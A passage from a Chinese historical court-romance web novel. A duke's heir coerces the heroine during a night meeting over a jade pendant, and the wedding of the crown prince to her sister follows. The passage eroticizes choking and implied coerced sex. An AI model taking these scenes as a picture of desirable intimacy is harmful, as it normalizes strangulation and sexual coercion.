御医被一脚踹出了内伤,一得到陛下敕令慌不择路养伤去了。
赵景之又怎么会去趟这处浑水?
他的脑海中又回想起当年那个言笑晏晏的少年,想与眼前这个手握南疆兵权的青年重合起来。
竟然发现除了面目相似,其余的全然陌生。
原来仇恨,是可以让人一夜长大。
许锦忠笑了笑,眼神却是别有深意,“世子可要好好养伤,这双手不仅要握弓,还要做旁的事。”
他特意咬住后几个字。
赵景之眸色暗了暗,但还是面色如常道:
“多谢许相关怀。”
许锦忠盯着他看了一瞬,在看不出来什么后客套一番也要去狩猎了。
只是转身那一刻,赵景之听到了他从鼻腔中发出的冷哼声。
带着一种蔑视、不屑。
赵景之毫不在意。
只是气血在胸膛处翻涌,肆意叫嚣着。
他垂眸看着手上染血的帕子,不知何时唇角上扬,使劲将帕子扯断,露出模糊一片,皮肉失去血色开始泛白,牵动着更大的痛楚。
伤口裂的更深,有血不断涌出。
淅淅沥沥滴在地上。
但他眉头都不曾皱一下,对着那棵树道:
“怎么躲在树后面上瘾了不成?”
萧苓惴惴不安,但还是从树后走了出来。
最后停在与他一步远的距离。
当她看清他手心里的猩红时,不由得低呼:
“你的手……”
此时人都往苑内去了,留在营帐的便只有容钦南与其底下人。
饶是如此,她也得小心。
此话一出,萧苓就后悔了。
他包不包扎,和她有什么关系?
赵景之低沉一笑,随手将帕子扔在了地上,立刻就沾染上了泥沙。
此时的血肉狰狞,万分可怖。
可他却毫不在乎。
萧苓见他要走,自己也不再逗留,只是与他错身之际,听他低声道:
“今夜海棠巷,还你玉佩。”
她顿住脚步,忽然又听他开口:“最好沐浴焚香,换身衣裳。”
赵景之点到为止,不再多言。
萧苓暗自心惊,也没有答话,匆匆往苑内走去了。
他却不肯再走
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,目光沉沉盯着那个白影。
这件氅衣,明显大了呢。
不是她的。
——
黑夜沉沉,月色朦胧。
树影映在青石板上正随风摇曳着,显着初秋的萧瑟。
萧苓只提着一盏灯笼,伫立在一处庭院门口。
明日是大日子,侯府正筹备着萧柔的婚事,无暇顾及她这边。
因而才和流云得了空出府。
此时流云正在巷子外等她。
萧苓踌躇着,她看着快要燃尽的烛火,正在思量着要不要敲门。
“吱呀——”
门已经开了,她还未来得及抬头瞧,那人又转身往院里走去了。
萧苓顾念着那块玉佩,咬牙跟上。
院落布置很是雅致,虽然小些,但陈设一应俱全。
跟着那人走进正屋,萧苓这才抬头去看。
“世子。”
“下去吧。”
说话的正是给她引路的,此时得了命令退出去将门阖紧。
随着门被阖上带起的风将案几摇曳的烛光一颤,萧苓的心也仿佛跟着一颤。
她这才注意到坐在案几旁的赵景之。
他仿佛刚刚沐浴过,乌发还未绞干,带着湿意。
此时只着白色中衣,弥漫着淡淡的皂角香气。
神情没有白日里的淡漠,此时唇角还噙着笑意,看着她一脸戒备,不免眉梢微挑。
“怎么?怕我?”
烛影摇曳,将他如玉面庞衬得愈发俊美。
她似乎有一种错觉,仿佛当年那个张扬热烈的少年不曾远去。
只是他下一句话就让她在心底苦笑着否定了自己。
“在营帐里你紧张什么?”
赵景之站了起来,朝她愈走愈近。
“什么?”
投下的身影快要将她包裹住,萧苓的声音也有些发颤。
“就那么怕怀上臣的孩子?”
“嗯?太子妃?”
背被狠狠撞在门上,此时是避无可避,萧苓的手紧紧抠着门框。
此时她的耳缘红的快要滴血。
情欲灼烧他的五脏六腑。
他托起她的下颌,看着那娇艳欲滴的唇瓣,狠狠咬了下去。
13. 掠夺
血腥味弥漫在唇齿间,刺痛让她一时忘记闭眼,直直撞进他如寒潭的眸中。
没有半点情绪,却倒映着她的面目。
是颤抖的、破碎的,还带着一丝不可置信。
萧苓一时怔忪,忘记将他推开。
呼吸被尽数夺去。
赵景之托着下颌的手往下移,改为握住她脆弱的脖颈,手指只是虚虚拢着,稍微用点力让她被迫抬起脸,迎合着他掠夺的力道。
她的脖颈与唇瓣皆被他炙热而汹涌的气息给包裹,非常轻的喘息声抑制不住地从唇齿中溢出。
仿佛传达了某种讯息。
肌肤下的血液受到鼓舞,他的手愈发使劲,萧苓面皮滚烫快要窒息,她呜咽两声抬起手想推开他,却被反手举至头顶。
赵景之从她进到这个屋子目光便一直注视着她,他与她贴的极近,只要垂下眼皮就能看到她蒙着水光的眼眸正因为他的动作而逐渐涣散。
痛苦中夹杂着极致欢愉。
足以让她神思混沌。
看到她如此模样,有什么东西在赵景之脑海中突然炸开。
纷乱复杂的思绪如乱麻交织、缠绕,最后打成一个死结,将他的七情六欲全部狠狠拧在一起。
随后只剩下当年褪色的记忆。
与那道一直在梦里魇住他的声音。
如今一起出现,像是在狠狠嘲讽他。
像是在嘲笑他的重蹈覆辙。
萧苓战栗着,看向他的目光愈发混沌,直到最后眼泪抑制不住涌出,他只要轻轻一碰,便能尝到那咸涩的味道。
也许是这个味道唤醒了他。
赵景之目光变幻几许,手在不知不觉中松了力道,唇齿与她隔开了些距离。
但仍然紧握着她的手腕。
萧苓面色潮红,薄汗湿润,神智还是有些不清醒。
脖颈被掐出了红印,带着斑驳的紫色,看着触目惊心。
等浪潮退去,她的视线终于聚焦,止不住的咳嗽两声。
赵景之眸中映着氤氲的烛光,依旧清冷,衣衫平整如初,仿佛沉沦在欲海里的只有她。
她感到莫名难堪。
同时也觉得是自己大意,怎么深更半夜便跑到此处,让他羞辱。
“玉佩……能否还给我?”
吐出这几个字,她觉得嗓子有些哑,想要咳嗽却生生忍住,目光直望向他。
只要拿回玉佩,她与他便再无瓜葛。
赵景之注视着她的一举一动,似乎看出她的想法,突然轻笑出声。
他声音极低,气息轻轻喷薄在她耳畔处。
“方才,你欢愉么?”
她被这低沉的笑声激的浑身一颤,方才窒息的感觉似乎又将有些发软的身体碾过一遍。
他或许没想让她回答,只是看着她眼角那颗被泪洇透的红痣,眸色暗了暗。
继续道:“应该是喜欢的,是么?”
他的声音一如既往的低沉,她实在害怕他还会像方才那般对待她,心慌不已,只想逃离他的桎梏。
只是手腕刚一挣脱却被紧紧握住,他的手指用力至泛白。
赵景之看着她从下往上探的目光,明明害怕,明明颤抖着,可他的内心却没有半点愉悦。
仿佛是一潭死水,不见生机。
这种失控太反常了。
他微不可见深吸一口气。
待再次开口,他的语气一如既往的清寒:
“你若是想要玉佩……”
萧苓有些忐忑,但更多的还是有些微妙。
赵景之真的肯这般轻易交给她么?
果不其然,他的话永远只能听一半。
“若是前几日你来海棠巷,我直接给你也无妨。”
他虽没有说下去,但是她懂了他的意思。
——是她萧苓不守承诺在先,她若是想要,就应该求他。
求他给她。
可是……
萧苓内心纠结,他让她过来无非就是为了羞辱她。
换言之,就是为了报复她。
可是定国公夫人的死,根本就与她无关。
赵景之垂眸,面前的少女眉心微蹙,似乎在纠结什么,不自觉咬上了发白的唇瓣。
这是她无意识的动作。
他不禁想起很多年前,他第一次见萧苓的模样。
她躲在萧负雪后面,手里还捏着一只皱巴巴的针织兔子,她那时也如这般胆怯,一看到他便想缩在兄长背后。
最后还是萧负雪握着她的手,跟她介绍:“这是赵家世子,你该唤一声景之哥哥。”
“景……景之哥哥。”
她不敢看他,只是嚅嗫着双唇。
他那时也听说了萧苓在萧家的事情,不过是些深宅琐事,种种缘由都是欺负她没有母亲罢了。
“呵,母亲。”
他一念及这二字,一股戾气抑制不住在血管里叫嚣,被禁锢住的七情六欲再次狠狠冲撞出来,那种刚刚才满足过的餍足感随着血液游遍身体,让他的脊背止不住的酥麻。
他似乎想通了什么。
这世上往往不能接受的事情有很多。
比如亲近之人的背叛,比如他看她那肮脏的目光。
比起毁灭,臣服不是更让人疯狂么?
赵景之终于意识到他为何会失控,即使他掐着萧苓的脖子,即使她从下仰望着他,她眼里的从来就不是卑微。
而是一种近乎于执着的倔强。
他要让她,臣服于她。
完完全全属于他赵景之。
“好,玉佩还你。”
语气辨不清他的喜怒,却让她心里莫名一紧。
这样的赵景之,与她在梦里的极为相似。
她似乎被想起被禁锢的场景,不由得胆寒。
下一瞬萧苓手腕一松,原来是赵景之突然放开她,转身往那方案几走去。
她顾不得揉揉酸麻的双臂,目光追寻着他的背影。
见他随手从案上一摞书抽过一本,修长手指只是匆匆翻过几页,眼睛似乎被玉色一闪,被他放在手心随后合拢。
啪,书被合上。
烛火下的微尘,仿佛为之一震,尽数漂浮在半空。
砰,心跳如鼓。
她看着他愈来愈近的身影,直觉告诉她,她应该要走。
但脚就是迈不开步子,只能生根在门槛处。
他逆着光而来,脸色比方才更加晦暗,萧苓不敢看他眼睛,只好垂首等待。
直到那枚玉佩重新映入眼帘,她忐忑的心才放下。
玉佩静静躺在赵景之的手心,一如温润的湖泊
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。
正是容钦南赠的白玉夔龙佩。
但美中不足的是,因为摔下来的缘故,中间起了淡淡裂纹,若不细看,是看不出的。
萧苓轻呼一口气,无论怎样,只要找到了便好。
她正要伸出去拿,赵景之忽然收回手。
“世子,这是何意?”
萧苓不禁蹙眉,他明明说过要还给她,现在这是在戏耍她?
“太子殿下的玉佩果然不是凡物,触手生温,即使是本世子也很少见到这般好玉。”
赵景之似乎是对这块玉起了兴致,他的拇指细细摩挲着,感受着玉的质地细腻光滑,一如那冷白滑腻的肌肤。
他垂下眼皮,专注看着手中的玉佩,遮挡住她看着他的目光。
“这么珍贵的东西,可别再弄丢了。”
他的声音低得快要听不清。
萧苓头皮发麻,她本来过来的就晚,又耽搁了不少时间。
何况流云还在外面等着。
她不能再拖了。
正当她欲言又止时,赵景之抬眼看她。
“萧姑娘今晚话少了些。”
萧苓掐着手心,好像从进门开始一直都是他在说话,只是他问的那些问题,她似乎都无法回答。
“怕。紧张。没那么欢愉。不喜欢。”
萧苓咬牙,思索着他先前问的话。
赵景之见她面色薄红,静默了好一会,似乎是反应过来她回答的是他先前的问题,唇角上扬一抹弧度。
怕,是么?
感到怕就好。
再多发现点,就不怕了。
他难得愉悦,似乎是被她逗笑,清冷面色似乎带了一抹情|欲。
他的脸被光影晃了晃,萧苓看不清,只能将目光盯向他的半阖的手。
只是她这才发觉,握玉的手正好是他白天受伤的手,泛白的皮肉成了一道狰狞的疤,还没有包扎。
萧苓忽然想起许锦忠对赵景之说的一番话,邀他去狩猎,像是敲打,又像是试探。
那他又要试探赵景之什么?
而赵景之又要隐瞒什么?
她仿佛陷入一个迷障中,百思不得其解。
高大身影很快倾身袭来。
萧苓似乎想起什么,抬眸,“世子……”
来不及惊呼,她的腰被他的手禁锢住,随着细碎的裂帛声响,她似乎感到一阵冰凉。
寒夜似乎被这冰凉撕碎,随后变得温润如水。
她仰头想看清他的表情,却怎么也看不见,鼻尖是他清冽的气息,涌入胸腔里充盈丰满快要炸开。
萧苓身体不由得有些颤。
“赵景……之……”
他顿住,听着她在耳边轻微的吟声,侧眼见她冷白肌肤染上淡淡的粉。
那一瞬间,只觉得浑身连带着灵魂都在战栗。
她想推开他,但连手都在发颤,只能无力攀上他的脖颈。
紧紧相贴。
隔着两层脆弱的皮肤,底下流淌着的是汹涌澎湃的血液。
甚至能听到对方的心跳。
萧苓忽然就迷茫了。
原来他也有心啊。
那种感觉来的太强烈,她半阖着眼,任由他将她抱在怀中。
——那块玉佩沾染过清水,愈发莹润透亮。
14. 困兽
夜色浓重,有风透过窗缝将淡青的床幔吹起一角。
蜡烛燃至一半,噼啪几声,此时烛花爆裂,顺着烛身缓缓淌下,带来一阵又一阵的战栗。
萧苓微仰着脖颈,等回过神来,眼睛里蒙着清透的水雾,看向他时却恢复了以往的清明。
他眼尾泛起薄红,劲瘦有力的手紧紧拥着她的后背。
见他这般模样,萧苓莫名想起席间见到的野狼,透着危险的光,仿佛下一秒就能拆她入腹。
她一时心慌,脚往后退一步,却被赵景之察觉到反倒抱的更紧。
萧苓身子僵住,一动不敢动,后背生了层薄汗。
下一瞬,她感到耳缘微痒,喷薄着他不容抗拒的气息。
“对于你上回无端毁诺,本世子已经略施小惩。既然如此,这块玉你便好好收下,若是再丢了,我也无法保证下次还能捡到。”
赵景之起身对上萧苓的双眼时,鼻间还弥漫着她发髻上淡淡的桂花香气。
汹涌浪潮总有平息的时候。
他的唇角噙了抹笑,目光略有深意。
其实赵景之样貌生的极好,尤其是这一双眼,恰到好处的深邃。可若是带着似笑非笑的神情,看着却有些阴沉。
萧苓错开他的视线,想起此行的目的,终究还是开口道:“时辰不早了,世子若无其他吩咐,我便回去了。”
话音刚落,赵景之便松开了手,与她隔着一步距离。
同时手指勾着玉佩上的红绳,流苏舒展开来,散发着莹润的光。
萧苓想起他方才拿着玉佩做了什么,长睫不由得一颤,但还是匆匆接过道了声谢。
她如蒙大赦转身欲走,可郁积已久的气还未从胸腔呼出时,耳畔又传来一声低音。
“萧姑娘。”
带着几分缱绻,又带几分薄情。
总之,与她先前听过的都不太一样。
萧苓不敢继续深究,只能停下脚步,却未曾回头。
“世子还有何事?”
若她回头便能看到赵景之伫立在光影下,半张脸隐匿在阴暗中,烛影在他面上跃动着,描摹着他如峰峦般的鼻梁。
目光所及之处,尽是冰寒。
“萧姑娘就没什么想问本世子的?”
要问什么?
有太多疑问萦绕在心头,譬如三年前,又比如现在。
但她不知从何问起。
“没有。”
萧苓呼吸发紧,手指紧紧攥住玉佩,距离那扇门仅有一步之遥,但她还是硬着头发等他答复。
似乎只要走出这扇门,她便与他,再无瓜葛。
“萧姑娘没有,本世子却有一句话要问。”
赵景之的声音极低,似浪潮般向她劈头盖脑袭来。
“我给你准备的这场戏,精彩么?”
——
等那桂花香消弭许久后,初杭才推开门。
一进来便看到赵景之坐在案几旁翻着书,纸张泛黄,而乌发未挽倾泻在肩旁,倒有几分桀骜不羁。
他走上前去,将黑木托盘搁在案几上,碗中褐色药汁散发着苦涩味。
“禀世子,人已经送出去了。”
他一直守在门外,悄悄跟在萧苓身后目送着她坐进萧府的马车里。
“嗯。”
赵景之翻过一页,心思却不在眼前的字上。
他不知为何心里濒临疯狂,或许是想起萧苓最后微颤的背影。
对于他的问题,她走的很干脆,什么话也没说。
不急,来日方长。
他有的是时间慢慢耗。
这般想着,赵景之的手指无意识叩着纸面,纸张薄脆,发出些许声响。
此时他指间漏出的血腥气与苦涩味相融,与烛光下的浮尘共同编织成黏腻束缚的网。
看着阴郁又骇人。
初杭看着尚在翻涌的药汁,想起大夫当时的嘱咐,还是开口道:“这方子,世子少碰为好。”
赵景之瞥了他一眼,还未开口就把人吓的冷汗涔涔,随后端起碗一饮而尽。
也许是罕见的苦涩,眉心微不可见的出现了道刻痕。
初杭不再言语,递块干净的巾帕给赵景之,只是低头一瞧,却不由得心惊。
世子的手伤痕深可见骨,可偏偏沐浴时还见了水。
再这样下去,非要废了不可。
初杭正要去找东西给赵景之包扎时,却被赵景之叫住。
他的嗓音一如既往淡漠疏离。
“不必,留着这伤还有用处。”
——
天刚蒙蒙亮,萧府便喧闹起来。
太子纳良娣,若按祖制,规矩流程繁复。可皇帝给的时间太过仓促,即使萧家马不停蹄去筹备,总有疏漏之处,闹的是鸡飞狗跳。
东宫已将嫁衣送来,并由内侍通禀太子仪仗黄昏将至。
落在旁人眼中,萧家两女皆嫁入东宫,是无上荣耀。可只有萧净知晓,这不过是皇帝牵制萧家的手段。
昨日的事情一幕幕在他脑海回演,多年征战的直觉告诉他事情并不简单。
可圣旨已下,谁也不敢抗旨。
只能将此事交由母亲与陈氏去操办。
阖府上下皆喜气洋洋,尽眼望去,皆在张灯结彩。
萧苓夜里回来的晚,只在晨曦渐起时小憩了一会。此时倦意正浓,被人惊醒,眼底泛起层淡淡的青翳。
“姑娘,大事不好了,老夫人房里的秋云将先夫人的那抬箱子给拿走了!”
那箱子里装的是当年柳氏进门带的嫁妆。
事发突然,流云匆匆推门时,萧苓正起身换了件高领襦裙。
主仆二人匆匆穿过游廊,赶到库房门口。
在路上萧苓已经得知来龙去脉,无非是老夫人崔氏觉得母亲过世,与其让带来的嫁妆搁置生灰,倒不如给萧柔的妆奁添色。
秋云是老夫人身边颇为得脸的丫鬟,正捏着礼单指挥着仆妇收拾金银细软,见到萧苓二人过来,面露讶异,但还是按着礼数福了福身子。
“大姑娘怎么过来了?”
萧苓没有理会,目光在地上摆着的箱匣扫视着,终于在不起眼的廊柱下瞥到一个略带陈旧的木箱。
那正是母亲留下来的。
她依稀听老嬷嬷说过,母亲外家是没落的柳氏,想来带来的陪嫁也不是凡品。人一去世,老夫人便让人把她的遗物该烧的烧了,值钱的全充到库房去了。
“听说祖母要让人把我生母的东西添到二姑娘的嫁妆里?”
她的眉眼微抬,语气带着平日里少见的威严。
秋云顿了顿,瞥过去的目光夹杂着些许探究。
这位大姑娘性子向来温婉,很少疾言厉色,她还是第一回听见萧苓这样说话,心里不由得古怪起来。
“这是老夫人的吩咐,放着也是放着,落了灰也不好看……”
萧苓听出秋云搬出老夫人的身份压她,黛眉微皱。
“这是祖母的意思,还是母亲的意思?”
这个“母亲”自然称的是陈氏。
但话又说回来,不管是谁指使的,这个箱子最终还是要落在萧柔手里的。
“时辰不早了,奴婢等会还要回去复命,恕奴婢失礼。”
再过有半个时辰就是吉时,还差最后一箱她就完成差事。
秋云不欲纠缠,虽说拿人家生母的嫁妆,说的不好听就是抢,但这是老夫人下的命令,她也没法违抗。
何况萧苓是个好脾气的,又有两分怯懦,只要老夫人发话,她不敢不从。
谁让老夫人最疼的就是二姑娘萧柔呢。
可是她想错了,萧苓平日里逆来顺受只是不想纠缠,不想陷进无谓的争端里,但这是母亲的遗物,她不可能拱手相让。
“这个箱子,不能动。”
萧苓对流云一瞥,流云心领神会要去搬,却被两个仆妇跟一道厚墙似的堵住,已经率先从地上搬了起来。
“哎!”
“你放开我……”
流云要去从那人手里抢过来,却被狠狠推了一把,不知是谁先起的头,几番争执下,“啪——”一巴掌甩在了流云脸上。
霎那间四下静默。
能在高门大院里服侍的人都晓得打人不打脸的道理,更何况这还是萧苓身边的人。
做惯粗活的仆妇手劲大,流云用手捂着的脸火辣辣的疼,唇角还渗着血丝。
那两个拦路的人再无方才气焰,腿一软就跪下了。
箱子也顺势搁在腿边。
“求姑娘恕罪。”
“这……”
秋云没料到会有此番变故,不禁皱眉,但心里更急的却是此事该如何处置。
二姑娘的大喜之日却吵吵闹闹,若是传到老夫人耳朵里,她肯定吃不了兜着走。
萧苓知道流云挨打是为了她,心里不免酸涩,但更多的却是气恼。
她刚要将流云拉到自己身边时,却听到一道脚步声。
“这是怎么回事?”
她抬眼一瞥,是萧负雪。
他平日里和煦的眉眼此时却蕴了寒冰,语气明显不悦。
周遭人跪了一地,秋云心里也有些忐忑,大着胆子看了一眼萧苓,见她一言不发,只能大着胆子道:
“回禀世子,奴婢奉了老夫人的命令来添置二姑娘的嫁妆,正好在此碰到了大姑娘。”
萧负雪移过目光,不禁皱起眉头。
很明显是不信她的说辞,太子仪仗将至,他此番过来就是查漏补缺,没想到听到争执声。
流云捂着脸神色委屈,事情一目了然。
他的视线又移至地上的箱子,看着有些眼熟。
那不是……
萧负雪心下了悟,随即冷淡开口:
“太子仪仗将至,既已收拾妥当,东西便搁置到前厅。吉时迎亲岂能争执吵闹?若是传到太子耳中……”
话虽只说了半截
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,但是众人都懂了他的意思,个个噤若寒蝉大气都不敢喘。
别看世子平日里和颜悦色好说话,可只有亲近他的人才知他惩处下人的手腕有多强硬。
可秋云还是惦念着那箱子,这是老夫人特意叮嘱过的。
但世子她也得罪不起,只能落下个两厢为难。
萧负雪似乎看出她的想法,语气缓和了些:
“既然是二姑娘新婚,自然是不能拿旧物添作嫁妆。祖母那边本世子去说,相信她也会同意的,不是么?”
三言两语便将秋云的顾虑打消,她感激的不停稽首,心道世子真是菩萨心肠。
等清点完毕后便和仆妇们将东西抬到前院去了。
而萧负雪也叫人将流云带下去上药。
凉风乍起,小小庭院便只剩下他与萧苓二人。
黄昏的光线是柔和的,给萧苓的眉眼渡了层浅辉,他甚至看清楚了那颗红痣。
再往下看去,她似乎新换了唇脂,带着雨后蔷薇的绯色。
萧负雪又看着那截被衣领遮挡的严丝合缝的脖颈,心里不禁有了异样的感觉。
不过这种感觉,转瞬即逝。
“今日之事,多谢兄长。”
萧苓没有察觉他的迟疑,蹲下身子正要将箱子抱起时,却被来人三两步抢先搬到了怀里。
萧负雪是习武之人,很轻松便夹在了臂弯里。
“既然是珍贵之物,不如放我那边吧?”
萧负雪向来考虑的很周全,若还放在库房里,今日的事情肯定还会发生。
只要他不在府里,就可能会被抢走。
萧苓却摇摇头,拒绝了他的好意。
“请兄长放在我院里吧,既然是我生母留下的东西,我一定要护住它。”
她总不能靠兄长一辈子。
萧负雪轻轻一笑,算是默许。
从库房再到萧苓的小院,中途要路过一处园子。
假山层叠,树枝影绰,将二人遮的半明半昧,两道身影投映在染了清晖的白墙,一前一后,一高一矮,如此相得益彰。
此时肃穆礼乐声起,隆重而悦耳,打破了静默。
随后萧苓听到一声传令“太子殿下到——”
心尖不可避免的颤了颤。
按照祖制,太子迎亲要先去正厅拜见长辈,聆听训诫。
但那是迎娶太子妃的规矩。
而容钦南如此大张旗鼓亲自前来,却是给足了萧柔体面。
毕竟她只是个良娣。
萧苓又不可避免的想起在东宫容钦南亲口承诺,要请旨到侯府下聘,以及要在秋狝送的大礼。
他不过是与她玩了个文字游戏。
送给她的是明晃晃的羞辱。
“他欺人太甚!”
饶是萧负雪修养再好,等反应过来时,一张薄面也带了两分愠怒。
三年前,他满心欢喜,觉得萧苓终于寻到好归宿。
只要熬过在萧府的日子,她就是太子妃。
不出意外,日后她就是万人之上的皇后。
可惜,就差一点点。
萧苓不知该如何劝慰兄长,她不觉得有什么难堪,虽说一开始心里隐隐钝痛。
但经过时间的疗愈,再溃烂的伤口也能长好。
萧负雪还想说些什么,却见有人匆匆赶来,喘的上气不接下气。
见到萧苓在此,神色还有些迟疑。
萧负雪语气冷淡。
“何事?”
“吉时已到,侯爷让小的来禀告世子一声,该……您去护送着二姑娘上轿辇。”
这也是规矩。
萧负雪皱眉更深,他平日里鲜少与萧柔有交集,一想到昨日营帐场景,觉得很是荒谬。
他侧过身子正要回绝,却听萧苓道:“兄长快去吧,箱子不沉,待会我找个人一块抬进去就是了。”
少女微弯了眉眼,她的眼眸里满是碎光,很是柔和,此时正催促着他不要误了时辰。
“去罢,下回还得劳烦兄长背着我出嫁呢。”
这句话她说的很轻,像是无声的呢喃,却还是被萧负雪听见了。
他的心里涌动着很奇异的情绪,面上却是不显。
“好。”
萧负雪将木箱搁在那小厮怀里,对其耳语几句,小厮便匆匆离去,想来是赶着去萧苓院里。
等兄长走后,萧苓加快步子往回赶去。
礼乐声连绵不断,如鼓点敲击着她的耳膜。
一下又一下,一下又一下,忽然一切声音被隔绝在外。
萧苓只能听到震耳欲聋的心跳声。
倏忽停下脚步。
目光所至之处,赵景之正站在白墙下,夕阳余烬的辉芒落了他满肩。
与昨夜的恣意锐利不同,他的眉目永远像沾了寒霜,此时正直直注视着她。
萧苓打了个寒颤,不敢再往前走一步。
方才的场景,他看到了多少?
15. 挑衅
赵景之的目光丝毫不加以掩饰,令人发怵。
萧苓一时间进也不是,退也不是。
呼吸渐渐紊乱起来。
这里虽说僻静,但他堵在回院的必经之路上,保不齐会有洒扫的小厮和丫鬟路过,实在不能久留。
这般想着,她还是硬着头皮朝赵景之的方向走去,轻轻唤了声:“世子。”
赵景之对于她的主动,只是淡淡“嗯”了一声,与平日里见到寻常贵女的礼节别无二致。
随后他便迈开步子,两人错身而过。
正是去萧家内厅的方向。
如同他只是碰巧路过这里。
看来他是跟着容钦南来的。
听着赵景之渐远的脚步声,萧苓的心跳渐渐平息,不知为何面色却一点点冷了下来。
那夜只不过是各取所需,萧苓信守承诺与他荒唐一场,他放父兄归家,为萧家洗清罪名。
之后二人应该是再无瓜葛才是。
而不是现在这般,陷入两难境地。
究竟是哪步走错了?
萧苓又神使鬼差般回头,他已走进小路深处,墨绿的背影与盎然树影融为一体,看不分明。
她很快便转过视线不再多看,匆匆回院。
却错过赵景之同样停下脚步,对着她快要拐过院角的背影看了一眼,目光暗潮翻涌。
心里却是想着另一件事,他若是没有记错,萧负雪是萧净副将的遗孤,与萧苓并没有血缘关系。
他们不是亲兄妹。
事情,仿佛越来越难以掌控了。
赵景之眸色愈发晦暗,但只停了一瞬,很快便移开,仿佛那一眼只是错觉。
——
等赵景之到时,容钦南已站在正厅外等候萧柔出阁。
迎亲阵仗声势浩大,红绸十里,礼乐齐鸣。
陈氏搀扶着老夫人的手立在堂前,看着萧柔盖着喜帕被萧负雪牵引着迈出门槛,眼里是掩饰不住的喜色。
就算不是太子妃又如何,柔儿腹中的可是皇嗣。只是太子宠谁,谁的身份就贵重。
太子送的婚服光耀夺目,虽说只是绛色,与太子妃的正红有所区别,但布料与绣工却是难得一见。
将萧柔的玲珑身段衬得窈窕有致,愈发温婉可人。
容钦南一身绯色婚服,容颜俊美,神色间带着隐隐上位者的威严,此时正眼含温柔看着一步步朝自己走来的萧柔。
心里不禁隐隐期待。
他看不见她的脸,看着如此清纯窈窕的轮廓,眼前忽然闪过一道熟悉的身影。
是萧苓。
无端闪过她在生死面前被他推了一把的画面。
容钦南不由得蹙眉,又很快舒展。
亲姐妹自然身形相似,他只不过是联想到她而已。
那样一个古板温顺的人,他怎么可能会在意。
可当他的目光不经意间扫过在场的人,却没有看到萧苓的身影。
心里不知为何起了燥意。
不知过了多久,等接过萧负雪递来的红绸后,容钦南心里还是有一种不真实感。
但很快便平复下来。
这是他冒死向帝后求来的婚事。
站在自己面前的,是疼惜了许久的姑娘。
萧柔。
她才是他的心上人。
萧负雪极淡的瞥了容钦南一眼,见他一脸宠溺的看着面前的少女,手上青筋不由得微鼓。
却还是强行压抑下去,恭谨温和道:“臣祝殿下得偿所愿。”
容钦南颔首,极快地看了他一眼,便握紧了手中红绸,带引着萧柔转身走向门外。
萧负雪顿住脚步,看着二人渐远的身影,脑海中却是不停闪过方才在园中萧苓那一闪而过的落寞。
看着容钦南这般对萧柔,她是会难过的吧?
他护送萧柔的使命已经完成,听着耳边陈氏与老夫人的笑声,心里只觉聒噪。
正要转身回屋时,眼睛却瞥见了那浩浩荡荡迎亲队伍里熟悉的身影。
心里微讶,他怎么过来了?
隔着很长一段距离,赵景之信手持缰绳跨马,感受到投射他身上探究的目光后,居高临下与其对视,多了一分坦荡意味。
同很多年前一样,缓缓勾起一抹意味不明的笑。
就像是在挑衅。
——
明月当空,在东宫的青石砖上投下一片清影。
东宫许久不曾热闹过,此番宾客云集,觥筹交错不绝。
赵景之生性冷淡,只给容钦南敬了两杯酒后便离席寻清静去了。
如霜冷月照在他的绿袍上,愈发显的姿态清绝。
走在草木幽深的小径上,他忽然听到不远处传来娇俏女声:
“你们别拦着本公主,方才明明看见景之哥哥往这边过来了。”
“公主,您当心脚下。”
是岑钰。
赵景之紧皱眉头,脸色跟覆了层薄霜似的冷。他刚要避开,就听到那岑钰又惊又喜的声音在耳边炸开。
“景之哥哥,我在这里!”
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岑钰也许是多饮了两杯酒,随着她奔过来,隐隐还有醉人的酒气传来,嗓音也变得软糯。
“公主。”
赵景之避不过,索性拱手问安。
“景之哥哥,自从你回京之后,我们就很少再见面了。即使你进宫也不会来找我,我也去过国公府,但他们都说你不在……”
她屏退跟上来的嬷嬷与侍卫,独自一人站在他的面前。
月光倾泻下来,能看到她沾着雾气的杏眸与绯红滚烫的脸颊。
赵景之不着痕迹的后退一步,拉开与岑钰的距离。
夜晚的风带着凉意,让人不可避免的瑟缩一下。
岑钰见他不说话,便借着酒劲去看他那张俊美清越的脸,月色如纱,如同笼了层薄雾似的看不真切。
她羽睫轻扇,想往他跟前凑去看个清楚。
赵景之不由得薄唇一抿,语气带了些寒意。
“承蒙公主厚爱,臣平日懒散惯了,甚少在府中,公主自然寻不到臣。若有要事,公主可托下人传话便是,不必空等。”
公主与他能有什么要事,只不过是个托辞。
岑钰之前确实来找过他几次,下人来通禀时,他都避而不见。
果然岑钰听见这话,几滴泪簌簌落下,被泪珠沾湿的长睫似蝴蝶般颤动着。
“景之哥哥……”
她好不容易才与他碰上,还未雀跃多久,却被一桶冷水浇头泼下。
此时脚步声渐近,应该是巡夜的侍卫。
赵景之不欲多留,“若无其他事,臣先行告退,公主请便。”
他刚要转身离去,衣袖却被一双手拽住。
转眼对上一双哭得通红的眼眸。
“景之哥哥,我喜欢你。”
也许是羞涩,岑钰声若蚊呐。
少女借着醉酒,直抒胸臆。
此话一出,她便极快松开他的衣袖,双手绞着帕子,低着头等着赵景之的答复。
风势变大,灌进赵景之宽大的衣袖猎猎作响。
同时也抚平了衣料上被岑钰抓出的褶皱。
他这才抬眼看着她,轻轻笑了一声。
赵景之身量极高,岑钰看着他渐渐俯下身子,鼻子嗅着那陌生的冷香,心跳如鼓。
随后他凑近她的耳旁,用只能被二人听见的声音道:
“公主究竟喜欢臣什么呢?”
他的呼吸声让岑钰心生痒意,还不等她启唇,下一句话就让她如坠冰窟,全身发冷。
“臣已经有心上人了。”
16. 桥归桥,路归路
容钦南自从得知赵景之不愿接受岑钰心意的原因后,心中除了暗道可惜,还生出了对那神秘女子的好奇来。
到底是什么样的人,能让赵景之倾心?
不过这几日朝野风声渐紧,让容钦南不得不收起心思。
北戎在先前战役中元气大伤,但近日频繁扰边,颇有卷土重来之势。
圣上将击退北戎的重任重新交到萧净手中,同时命萧负雪为副将,即刻启程奔赴沙场,甚至亲口许诺等胜利归来,可讨要一道空白诏书。
天子之谕,可免死罪。
此举不仅是对萧氏蒙受不白之冤的安抚,更昭示了圣上对萧氏的信任。
等萧家父子领旨谢恩后,许锦忠持笏敛眉,同站在身旁的容钦南对视一眼。
其中流露的复杂神色不言而喻。
赵景之将两人私下往来尽收眼底,却是一言未发。
朝堂风云涌动,群臣心思各异。
但萧苓对此还不知情,等宦官来萧府宣旨后,她下意识觉得太突然,从父兄出征归家到现在不足一月,更遑论此次还是带伤出征。
此时天光渐收,细碎金影染红了天际。
她心中隐隐不安。
